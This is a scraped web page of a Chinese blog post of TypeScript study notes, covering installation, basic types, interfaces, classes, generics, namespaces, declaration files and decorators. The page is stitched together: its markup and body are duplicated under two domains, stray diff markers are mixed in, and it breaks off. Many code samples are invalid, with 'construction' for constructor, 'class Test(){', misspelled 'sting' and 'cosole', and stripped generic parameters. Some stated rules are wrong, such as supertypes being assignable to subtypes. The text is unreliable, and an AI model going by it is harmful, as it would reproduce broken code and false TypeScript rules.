dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>TypeScript学习笔记</h1><div class=post-meta><span title='2021-07-18 15:50:00 +0000 UTC'>2021-07-18</span>&nbsp;·&nbsp;10 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/TypeScript%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上</p><p>TypeScript可以增强IDE的交互和反馈，主流IDE都支持TypeScript</p><p>TypeScript实质上就是JavaScript的扩展，JavaScript超集</p><p>TypeScript具备类型检查，静态类型，JSnext属性和方法，以及还在提案阶段的语法（例如装饰器）</p><p>TypeScript本身并不能在浏览器运行，需要进行编译成JavaScript（tsc编译）</p><p>全局安装typescript</p><p>yarn global add typescript</p><p>或者</p><p>npm install -g typescript</p><p>安装ts-node（node不能直接运行ts文件，需要安装ts-node包）</p><p>npm install -g ts-node</p><p>ts-node运行（不需要编译成js文件，直接运行ts）</p><p>ts-node hallo.ts</p><p>检查是否安装成功</p><p>tsc -v</p><p>使用TypeScript编写的文件统一以.ts为后缀，用ts写React，统一以.tsx为后缀</p><p>创建tsconfig.json</p><p>npx tsc &ndash;init</p><p>执行（不加任何参数，这样才能使用tsconfig.json配置文件，tsc默认对当前根目录的ts文件进行编译）</p><p>tsc</p><p>或者指定编译的文件</p><p>tsc ./src/index.ts</p><p>tsc ./src/index.ts -t es6 -m cjs</p><p>注意：cjs标准只能存在一个顶级导出（mudule.exports）,如果存在其他exports的话会被忽略，因此要么不用mudule.exports，要么只使用一个mudule.exports</p><p>编译指定ts文件（在compilerOptions同级）</p><p>&ldquo;include&rdquo;:["./test1.ts"] // 指定编译哪个ts文件
+let hallo: number = 123;"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"TypeScript学习笔记","item":"https://chenjunlinabc.github.io/posts/58/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"TypeScript学习笔记","name":"TypeScript学习笔记","description":"TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上\nTypeScript可以增强IDE的交互和反馈，主流IDE都支持TypeScript\nTypeScript实质上就是JavaScript的扩展，JavaScript超集\nTypeScript具备类型检查，静态类型，JSnext属性和方法，以及还在提案阶段的语法（例如装饰器）\nTypeScript本身并不能在浏览器运行，需要进行编译成JavaScript（tsc编译）\n全局安装typescript\nyarn global add typescript\n或者\nnpm install -g typescript\n安装ts-node（node不能直接运行ts文件，需要安装ts-node包）\nnpm install -g ts-node\nts-node运行（不需要编译成js文件，直接运行ts）\nts-node hallo.ts\n检查是否安装成功\ntsc -v\n使用TypeScript编写的文件统一以.ts为后缀，用ts写React，统一以.tsx为后缀\n创建tsconfig.json\nnpx tsc \u0026ndash;init\n执行（不加任何参数，这样才能使用tsconfig.json配置文件，tsc默认对当前根目录的ts文件进行编译）\ntsc\n或者指定编译的文件\ntsc ./src/index.ts\ntsc ./src/index.ts -t es6 -m cjs\n注意：cjs标准只能存在一个顶级导出（mudule.exports）,如果存在其他exports的话会被忽略，因此要么不用mudule.exports，要么只使用一个mudule.exports\n编译指定ts文件（在compilerOptions同级）\n\u0026ldquo;include\u0026rdquo;:[\u0026quot;./test1.ts\u0026quot;] // 指定编译哪个ts文件 \u0026ldquo;excclude\u0026rdquo;:[\u0026quot;./test.ts\u0026quot;] // 指定不编译哪个ts文件\n编译TypeScript文件\ntsc hallo.ts\n变量声明\n推荐使用const和let声明变量，而不要使用var声明（因为var具有变量提升和重定义）\n基础类型\nTypeScript具有强类型的特点\nboolean，string，number，array，null，undefined，object，tuple，enum，void，never，any\nboolean布尔值，例如：\nlet hallo: boolean = true\nnumber数值，例如：\nlet hallo: number = 123;","keywords":["TypeScript"],"articleBody":"TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上\nTypeScript可以增强IDE的交互和反馈，主流IDE都支持TypeScript\nTypeScript实质上就是JavaScript的扩展，JavaScript超集\nTypeScript具备类型检查，静态类型，JSnext属性和方法，以及还在提案阶段的语法（例如装饰器）\nTypeScript本身并不能在浏览器运行，需要进行编译成JavaScript（tsc编译）\n全局安装typescript\nyarn global add typescript\n或者\nnpm install -g typescript\n安装ts-node（node不能直接运行ts文件，需要安装ts-node包）\nnpm install -g ts-node\nts-node运行（不需要编译成js文件，直接运行ts）\nts-node hallo.ts\n检查是否安装成功\ntsc -v\n使用TypeScript编写的文件统一以.ts为后缀，用ts写React，统一以.tsx为后缀\n创建tsconfig.json\nnpx tsc –init\n执行（不加任何参数，这样才能使用tsconfig.json配置文件，tsc默认对当前根目录的ts文件进行编译）\ntsc\n或者指定编译的文件\ntsc ./src/index.ts\ntsc ./src/index.ts -t es6 -m cjs\n注意：cjs标准只能存在一个顶级导出（mudule.exports）,如果存在其他exports的话会被忽略，因此要么不用mudule.exports，要么只使用一个mudule.exports\n编译指定ts文件（在compilerOptions同级）\n“include”:[\"./test1.ts\"] // 指定编译哪个ts文件 “excclude”:[\"./test.ts\"] // 指定不编译哪个ts文件\n编译TypeScript文件\ntsc hallo.ts\n变量声明\n推荐使用const和let声明变量，而不要使用var声明（因为var具有变量提升和重定义）\n基础类型\nTypeScript具有强类型的特点\nboolean，string，number，array，null，undefined，object，tuple，enum，void，never，any\nboolean布尔值，例如：\nlet hallo: boolean = true\nnumber数值，例如：\nlet hallo: number = 123;\n二进制和八进制，十进制，十六进制都可以用number类型来表示\nstring字符串\nlet hallo: string = hallo;\nvoid类型（当一个函数没有返回值时，那么其返回值类型就可以定义为void）\nfunction voiddemo(): void { let a = 10; } void类型只有两个值，undefined和null\nundefined类型和null类型是所有类型的子类型\nAny（当不清楚类型的变量指定一个类型，有可能这个变量的类型是动态的，想跳过类型检查就可以用这个）\nlet abc: any =123;\nabc = hallo;\nvoid（表示没有任何类型，当一个函数没有返回值，那么其返回值类型就是void）\n声明一个void类型的变量，这个变量只能选择两个值undefined和null其中一个\nlet und void = undefined;\nundefined和null和JavaScript中概念是一样的，空，未定义\nobject，就是非基础类型，和JavaScript中概念是一样的\n枚举，数组，元组，对象都是object类型\nlet obj: object;\narray数组\nlet arrs: number[] = [1,2,3];\nlet arrs: Array = [1,2,3];\ntuple元组：元组类型允许一个数组的元素是不同的类型的，但是必须按照要求来定义，例如\nlet x [string, number?]; x = [‘hello’, 10];\nx.push(“hi”);\ntuple元组是固定长度，固定类型，长度不能多不能少，类型必须要一一对应\n元组类型允许在类型后缀一个?来说明该元素是可选的，可选元素必须要在必选元素后面，否则有一个元素后面加了?，那么其后面全部元素都要加?\n注意：元组虽然可以越界添加元素（不推荐），但是不可越界访问\nenum枚举（允许为一组数值赋予名字）\nenum hallo {a, b, c}\nhallo.a === 0 // true\n默认从0开始，当然也可以手动指定数值\nenum hallo {a=6, b, c}\n最强大的一处是，可以根据值来得到它的名字\nlet yes: string = hallo[6];\nconsole.log(yes);\n如果分开声明名称相同的枚举，那么就会自动合并\nbigint类型（可以表示任意大的整数，Number类型能表示的最大整数为2^53 - 1）\n在整数后面加n或者调用BigInt()函数来定义bigint，也可以在BigInt()函数中用字符串，这三种方式表达的出来的值都是一样的\nlet abc: bigint = 8888888888888888888888888n\nlet xyz: bigint = BigInt(8888888888888888888888888)\nabc === xyz // true\nSymbol类型（每个symbol值都是唯一的）\nlet abc: symbol = Symbol(“hallo”)\nlet xyz: symbol = Symbol(“hallo”)\nabc === xyz // false\nnever类型（表示那些永远不存在的值的类型，永不为真）\nnever类型是任何类型的子类型，也可以赋值给任何类型，但是没有类型是never子类型或者赋值给never类型（除了never本身），连any都不能赋值给never\n抛出异常或者不会有返回值的函数，其函数返回值类型为never\nunknown类型是any类型对应的安全类型\nunknown类型只能赋值给any和unknown类型本身\nlet abc: unknown\nlet a: any = abc // yes\nlet b: unknown = abc // yes\nlet c: number = abc // Error\nunknown类型被确认为某个类型之前，不能被进行函数执行，实例化之类的操作\n类型断言\nas语法\nlet hallo any =hallo;\nlet abc number = (hallo as string).length;\n尖括号语法\nlet hallo any =hallo;\nlet abc number = (stringhallo).length;\n面向对象\n以键值对的方式表示的都是对象，多个键值对用逗号,分隔\nconst obj = {hallo: ‘123world’}\nconsole.log(obj.hallo)\nTypeScript在对象被定义时已经设置了类型，当引用不存在的，会报错\ninterface接口\n限制传入的参数的值\ninterface hallo{ a?: number; b: number; readonly c: string; [Name: string]: any; } function abc(as: hallo) { console.log(as.a) } let myabc: hallo = { a: 123, b: 666, c: \"hallo\", xyz(){ return 'hallo word'; } } abc(myabc) 在属性名前使用readonly指定其为只读属性\ninterface和type的区别：interface表示一个对象的属性类型，而type被作为类型别名使用，例如：\ntype testa = sting testa就是sting类型的别名，而interface不能\n在属性名后使用?指定其为可选的\n接口用于类上\nclass Test implements hallo{ a: 1, b: 2, c: \"abchhh\", xyz(){ return 'hallo ts'; } } 不要把接口来当type用，这是错误的用法，是用来定义一个对象中有哪些属性，有哪些方法，方法里面有哪些属性，参数等等，接口本身就是为了规范一个对象的行为，使用implements关键字就表示该对象就是这个接口的实现\n接口的继承\ninterface hallo{ a?: number; b: number; readonly c: string; [Name: string]: any; } interface Test extends hallo{ abcxyz(): string; // 这里继承了hallo接口，并且还给自己定义了个返回值为string类型的abcxyz()方法 } function abc(as: Test) { console.log(as.a) } let myabc: Test = { a: 123, b: 666, c: \"hallo\", xyz(){ return 'hallo word'; } abcxyz(){ return 1+2; } } abc(myabc) 函数的接口定义\ninterface abc1{ (test: string): string; } let abc: abc1 = (a: string) =\u003e { return a; } let a = abc('hallo word') console(a) 使用[]括起来表示这是任意数量的属性，只要不是已经存在（被定义）的属性\nlet abc: { name: string; pass: string; } = { name: 'root', pass: '123456' }; let xyz : number[] = [1,2,3,4,5,6]; class Tabcxyz{} let a1: Tabcxyz = new Tabcxyz(); let a2: () =\u003e string = () =\u003e { return 'hallo word'; // 函数返回值类型 } 判断数据类型\nlet abc: number = 123;\ntypeof abc === “number”; // tuer\nts具备自动分析变量类型功能，当无法分析时，才需要使用类型注解\nlet domeTest = 123 // number，自动分析变量类型功\nlet abc: number; // 类型注解\nnumber = 123\n函数\nfunction abc(): number{ return 123; // 这个number表示函数返回值的类型 } 函数参数类型\nfunction abc(a:number,b:number): number{ return a+b; // 这个number表示函数返回值的类型 } let xyz = abc(1+2) 函数解构参数类型\nfunction abc({a,b}: {a: number,b: number}): number{ return a+b; // 这个number表示函数返回值的类型 } let xyz = abc(1+2) 数组与元组（tuple）\n当数组元素存在不同类型时\nlet arr:(number | string | boolean)[] = [1,'hallo', true, 123, 'hhh']; // 表示数组元素可以是number和string和boolean 数组对象类型\nlet objarr:{name: string, age: number, pass: string}[] = [{ name: 'root', age: 18, pass: '123456' }] 或者\ntype objclass = {name: string, age: number, pass: string} let abc : objclass[] = [{ name: 'root', age: 18, pass: '123456' }] 或者\nclass Abctest{ name: string, age: number, pass: string } let abc : Abctest[] = [ new Abctest(), { name: 'root', age: 18, pass: '123456' } ] 元组（元组的长度和类型是固定的，数组每一项都必须对于类型的每一项）\nlet abc: [sting, number, sting] = [ 'root', 18, '123456' ] 多维元组\nlet abc: [sting, number, sting][] = [ ['root',18,'123456'], ['admin',16,'123456789'], ['test',20,'test123'], ] 类的定义与继承\nclass Demo{ name = 'root'; Test(){ return this.name; } } class Demo1 extends Demo{ name = 'admin'; // 重写 name属性 Test1(){ return 'hallo ts'; // 继承Demo类的同时，自己还具备Demo不存在的Test1()方法 } Test(){ return 'hallo' + super.Test() // 如果在重写父类的方法时，还想调用父类的方法时，可使用super调用 } } let demo1 = new Demo1(); console.log(demo1.Test()); console.log(demo1.Test1()); 类的访问类型（private，protected，public）和构造器（construction）\nclass Test(){ public name: string; // 类外可被调用 protected pass: string; // 类内以及被继承到的子类调用 private Testa(){ console.log('hallo word') // 类内可被调用，类外不可调用 } } let test1 = new Test(); tets1.name = 'hallo'; console.log(tets1.name); class Test1 extends Test{ public Testaa(){ cosole.log(this.pass); } } construction构造器（construction方法是类内部提供的，当一个类被new了，那么该类construction方法就会触发）\nclass Test(){ public name: string; protected pass: string; construction(name: string){ this.name = name; } } let test1 = new Test('admin'); cosole.log(test1.name); 注意：当父类存在construction时，子类也有construction时，需要手动调用父类的construction（调用super()）\n静态类型，setter和getter（暴露私有属性并且保护私有属性）\nclass Test(){ private _name: string; // name属性是私有属性，无法被类外调用 construction(name: string){ this._name = name; } get getName(){ return this._name; // 通过getName方法对外暴露name属性 } set setName(name: string){ let Tname = name.split('')[0]; // // 通过setName方法对外暴露name属性 this._name = name } } let test1 = new Test('admin'); cosole.log(test1.getName); 单例模式\nclass Test(){ private static Testabc: Test; private construction(){} // 禁止通过new创建实例 public getTest(){ if (!this.Testabc) { this.Testabc = new Test(); // 判断如果Testabc不存在时，Testabc等于Test实例 return this.Testabc; // 返回存储了Test实例的属性 } return this.Testabc; // 对外暴露这个存储了Test实例的属性 } } let test1 = Test.getTest() // 存储了Test实例的属性赋值给了test1变量 let test2 = Test.getTest() // 存储了Test实例的属性赋值给了test2变量 console.log(test1 === test2); // true 这两个存储了Test实例的变量实质上还是同一个 抽象类（抽象类只能被继承，类的抽象进行封装，复用）\nabstract class Abc{ name: string; abstract getTest1(): string; } class Test extends Abc(){ constructor(){ super(); } getTest1(){ return 'hallo word'; } } class Test1 extends Abc(){ constructor(){ super(); } getTest1(){ return 'hallo hhh'; } } let test1 = new Test(); console.log(test1.getTest1); 联合类型和类型保护\n联合类型就是给一些类型出来，只要满足其中一种类型就可以，例如：\nlet a : number | string = 'hallo word' a = 66 // a变量需要满足number或者string其中一种类型就可以了 类型保护就是通过类型断言，class或者instanceof来保护类型\nenum枚举类型\n枚举通过enum关键字创建，并且枚举元素一被定义将无法改变，格式和对象类似\nenum a{ name, age, pass } console.log(a.age) // 1 console.log(a[1]) // age 枚举元素默认第一个值从0开始递增，另外key和value是能互相访问的（这些规则只能用于数值枚举元素，其他类型无效）\nenum a{ name = 'root', age = 18, pass = '123456' } 上面这个例子为异构枚举，允许数值枚举和字符串枚举混合使用\n注意：当然枚举存在字符串枚举成员时，是不能存在计算的\n函数泛型（泛型：generic，表示泛指的类型）\nfunction abc(a: XYZ,b: XYZ){ return a + b; } abc('hallo','root'); 类泛型和泛型类型\nclass Demo{ ages: XYZ[] getDemo(a:number): XYZ{ return this.ages[a] } } let demo = new Demo([1]) demo.getDemo(0) 命名空间namespace（在命名空间内部定义的变量，类只能在该命名空间内部金额访问到，如果需要外部访问需要export导出）\nnamespace Test{ let a = \"hallo word\"; export function b(i: number){ return i; } } 命名空间的实现原理就是立即执行函数搭配闭包，闭包可以减少全局变量的诞生，而如果进行导出export了，那么该被导出的变量会暴露到全局环境下\n可以给函数，class，enum枚举类型声明命名空间（必须在声明函数，class，enum之后使用命名空间） 命名空间与函数，class，enum枚举类型同名，命名空间将作为补充，例如：\nfunction Test(){} namespace Test{ let a = \"hallo word\"; export function b(i: number){ return i; } } console.log(Test.a,Test.b(123)) 命名空间别名\nimport test = Test.b 合并命名空间\n如果是同名的命名空间，会自动合并成一个（注意：合并只针对导出的成员，而且不能重名）\n如果是不同文件下命名空间，例如：\na.ts\nnamespace Test{ let a = \"hallo word\"; function b(i: number) return i; } b.ts /// // 会在编译b.ts之前编译a.ts namespace Test{ import a = Test.a console.log(a) }\n类型注解文件（.d.ts）\n类型注解声明需使用declare或export关键字，declare是定义全局，可直接引用，而export需要使用import导出\n注意：当定义interface接口或者type类型的时候，不需要加declare或export关键字\n定义全局变量abc，它的类型是string（除了var关键字可以定义外，还有let，const都可以定义）\ndeclare var abc: string; 定义全局函数abc()，该函数的参数为string类型，返回值也是对象，并且定义该对象中存在一个data方法，该方法接收一个string类型的参数，该方法的返回值是string类型\ndeclare function abc(param:string): { data: (data: string) =\u003e string; }; abc('test').data('hallo word'); 定义接口 Abc，该接口被用于函数abc()上，表示abc()函数的返回值类型\ninterface Abc{ test: (str: string) =\u003e{}; } declare function abc(): Abc; 函数重载：类型注解是允许多次定义函数的类型注解声明\n声明对象Abc，该对象下存在着Test对象，Test对象下存在Data()构造函数\ndeclare namespace Abc { namespace Test { class Data {} } } new Abc.Test.Data() 模块化的类型注解\n定义一个Test模块的类型注解，该模块存在一个Abc方法，该方法也存在一个test方法，test方法的返回值为对象\ndeclare module 'Test' { interface Abc{ test: (str: string) =\u003e{}; } export = Abc; } import Abc form 'Test' Abc.test('hallo word') 当ts项目需要用到外部库时（例如Jquery），需要提供其类型注解文件，声明其对外的接口，常用的库社区都会提供类型注解文件，一般情况下其类型注解文件都是在该包的源码目录下，如果没有需要进行下载，例如npm i @types/jquery\n泛型的keyof关键字\ninterface Test{ name: string; pass: string; age: number; } class Abc{ constructor(private data: Test) getData(key: T): Test[T] { renturn this.data[key] } } const TestData = new Abc({ name: 'root', pass: '123456', age: 20 }) const test = TestData.getData('name'); console.log(test) 从上面例子中的，可以看到keyof的作用就是遍历类型的属性，keyof的返回值类型其实是个联合类型（key也是可以用来搞class）\n上面例子输入的key参数不为Test接口定义属性时会提示错误\n装饰器：装饰器本身是函数，装饰器通过@来调用，通过装饰器来扩展目标的功能\n注意：装饰器目前是实验功能，需要手动开启实验功能，在tsconfig.json找到experimentalDecorators和emitDecoratorMetadata设置为true\n类的装饰器（会在类创建完毕后立即执行装饰器，注意：对类装饰，并不对实例装饰，类装饰器的参数是构造函数）\nfunction Abc(constructor: any){ console.log('hallo word'); } @Abc class Test{} let test = new Test(); 方法的装饰器（方法装饰器有3个参数，分别是类的构造方法，方法名，方法的属性描述符）\n属性的装饰器（属性装饰器有2个参数，分别是类的原型，属性名）\n参数的装饰器（函数的参数装饰器有3个参数，分别是类的构造函数，参数名，参数在参数列表中的索引）\n协变和逆变\nTypeScript允许子类型赋值给父类型，也允许父类型赋值给子类型，因为这是类型安全的，是完全允许的，例如：\ntype Test = { name: string; } type Abc = { name: string; pass: string; } let a: Test = { name: 'root' } let b: Abc = { name: 'root' pass: '123456' } b = a 子类型可以赋值给父类型，而这个就叫协变，允许赋值时给一个更全面的类型或者相同的类型（父类是子类的超类）\nTypeScript不需要通过extends继承来确定，而是通过类型结构（structual type）来确定父子关系的\n逆变\n父类型可以赋值给子类型，函数参数具有逆变的特性，例如：\ntype Test = { name: string; } type Abc = { name: string; pass: string; } let hallo = (a: Abc) =\u003e{ console.log(a) } let hi = (b: Test) =\u003e{ console.log(b) } hallo = hi 注意：协变和逆变作用只生效于父子类型，非父子类型不会发生\nts允许符合一个接口的前提下扩展，但是有个例外，不允许使用字面量的方式（但是可以使用as和\u003c\u003e类型断言来允许）\n可索引接口，索引签名\n函数接口\nlet abc:(a:number,b:number)=\u003e number interface abc{ (a:number,b:number):number } 函数接口的实现要求形参和实参必须一一对应（可选参数和剩余参数（扩展）除外）\n函数重载（ts允许函数名相同，但是参数个数和类型不相同）\nfunction abc(...a: number[]): number function abc(...a: string[]): string function abc(...a: any[]):any{ let xyz = a[0] if(typeof xyz === 'string'){ return a.join('') } if(typeof xyz === 'number'){ return a.reduce((x,y)=\u003ex+y) } } 多态：通过父类抽象方法，让子类可以重写该方法\n类接口和实现的成员修饰符必须相等，不能接口是公有属性，实现变成的私有属性\n接口可以继承多个接口，多个接口用逗号分隔，而且该接口的实现必须满足多个接口的要求\n接口也可以继承类，一个子类可以继承父类的同时还可以实现接口\n接口只能约束类的公有成员，接口可以抽离类的公有，私有，受保护成员\nts类型检查机制：类型推断，类型兼容性，类型保护\n类型推断：ts可以根据规则来自动推断出一个类型，基础类型推断，最佳通用类型推断，以及上下文类型推断\n类型断言可以覆盖ts的自动类型推断，错误的类型断言很危险\n类型兼容：ts允许一个子类类型兼容父类\ntype a = { aa: number } type b = { aa: number, ab: string } let abc: a = {aa:1} let xyz: b = {aa:2,ab:'hallo'} abc = xyz // xyz = abc 不兼容，因为abc不符合xyz类型的要求，但是xyz符合abc的类型（在满足类型要求上扩展类型） 源类型满足目标类型的要求时，源类型可以赋值给目标类型\n函数类型兼容：源函数参数个数必须小于等于目标函数，固定参数可以兼容可选参数和扩展参数，但是可选参数是不兼容固定参数和扩展参数的，扩展参数兼容固定参数和可选参数，而且参数类型必须匹配\nlet abc = (a:number,b:number) =\u003e{} let xyz = (a:number) =\u003e{} abc = xyz 接口的类型兼容：a接口的定义满足b接口的定义时，a的实现可以赋值给b的实现（多兼容少的）\ninterface A{abc: number} interface B{abc: number,xyz: string} let a = (abc: A) =\u003e {} let b = (abc: B) =\u003e {} b = a 类型保护：在某个特定的区块中保证变量属性某个确认的类型，在该区块可以放心使用该类型的属性和方法\n可以用类型也可以用类 if(abc instanceof number){}else{}\n对象属性 if(‘data’ in abc){}else{}\n基本类型 if(typeof a === ‘string’){}else{}\n类型位词\nfunction isnumber(a: abc | xyz): a is number{ return (a as abc).data !== undefined } 通过返回值来确定类型\n高级类型（这些高级类型更像是工具类型）\n交叉类型与联合类型\ninterface A{abc: number} interface B{abc: number,xyz: string} let hhh : A \u0026 B = { abc: 123, xyz: 'hallo' } hhh实现具备了A和B接口全部特性，交叉类型是取全部接口的并集\nlet a: number | string = 'hallo' 联合类型还可以通过字面量来限制变量的取值\nlet a: 1 | 2 | 3 联合类型对于类只能访问其共有成员（取交集）\nclass a{ data(){} abc(){} } class b{ data(){} xyz(){} } enum gg{a,b} let hhh = gg.a ? new a() : new b{} hhh.data() 也可以利用联合类型来根据共用成员的值来做类型保护区块\n索引类型（对于索引做类型约束）\ninterface B{abc: number,xyz: string} let key: keyof B let value: B['abc'] let obj={a:'hallo',b:'abc',c:'xyz'} function get(obj: T,keys:K[]): T[K][]{ return keys.map(key =\u003e obj[key]) } get(obj,['a','b','c']) 当索引不存在的属性时，ts会报错提示\n映射类型\ninterface A{abc: string,xyz: number, hhh: boolean} type a = Readonly 可以看到类型别名a是对于属性是只读的\nReadonly的实现是索引类型\ntype Readonly ={readonly [P in keyof T]: T[P]} 把接口属性变成可选的\ntype b = Partial Partial的实现\ntype Partial = {[P in keyof T]?: T[P]} Required将接口属性变成必选\ntype c = Required Required的实现\ntype Required = {[P in keyof T]-?: T[P]} 抽取接口的指定属性，来创建一个新的类型\ntype abc = Pick","wordCount":"2003","inLanguage":"en","datePublished":"2021-07-18T15:50:00Z","dateModified":"2021-07-18T15:50:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/58/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>TypeScript学习笔记</h1><div class=post-meta><span title='2021-07-18 15:50:00 +0000 UTC'>2021-07-18</span>&nbsp;·&nbsp;10 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/TypeScript%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上</p><p>TypeScript可以增强IDE的交互和反馈，主流IDE都支持TypeScript</p><p>TypeScript实质上就是JavaScript的扩展，JavaScript超集</p><p>TypeScript具备类型检查，静态类型，JSnext属性和方法，以及还在提案阶段的语法（例如装饰器）</p><p>TypeScript本身并不能在浏览器运行，需要进行编译成JavaScript（tsc编译）</p><p>全局安装typescript</p><p>yarn global add typescript</p><p>或者</p><p>npm install -g typescript</p><p>安装ts-node（node不能直接运行ts文件，需要安装ts-node包）</p><p>npm install -g ts-node</p><p>ts-node运行（不需要编译成js文件，直接运行ts）</p><p>ts-node hallo.ts</p><p>检查是否安装成功</p><p>tsc -v</p><p>使用TypeScript编写的文件统一以.ts为后缀，用ts写React，统一以.tsx为后缀</p><p>创建tsconfig.json</p><p>npx tsc &ndash;init</p><p>执行（不加任何参数，这样才能使用tsconfig.json配置文件，tsc默认对当前根目录的ts文件进行编译）</p><p>tsc</p><p>或者指定编译的文件</p><p>tsc ./src/index.ts</p><p>tsc ./src/index.ts -t es6 -m cjs</p><p>注意：cjs标准只能存在一个顶级导出（mudule.exports）,如果存在其他exports的话会被忽略，因此要么不用mudule.exports，要么只使用一个mudule.exports</p><p>编译指定ts文件（在compilerOptions同级）</p><p>&ldquo;include&rdquo;:["./test1.ts"] // 指定编译哪个ts文件
 &ldquo;excclude&rdquo;:["./test.ts"] // 指定不编译哪个ts文件</p><p>编译TypeScript文件</p><p>tsc hallo.ts</p><hr><p>变量声明</p><p>推荐使用const和let声明变量，而不要使用var声明（因为var具有变量提升和重定义）</p><p>基础类型</p><p>TypeScript具有强类型的特点</p><p>boolean，string，number，array，null，undefined，object，tuple，enum，void，never，any</p><p>boolean布尔值，例如：</p><p>let hallo: boolean = true</p><p>number数值，例如：</p><p>let hallo: number = 123;</p><p>二进制和八进制，十进制，十六进制都可以用number类型来表示</p><p>string字符串</p><p>let hallo: string = hallo;</p><p>void类型（当一个函数没有返回值时，那么其返回值类型就可以定义为void）</p><pre><code>function voiddemo(): void {
     let a  = 10;
 }
@@ -628,8 +628,8 @@
   import test from 'test'
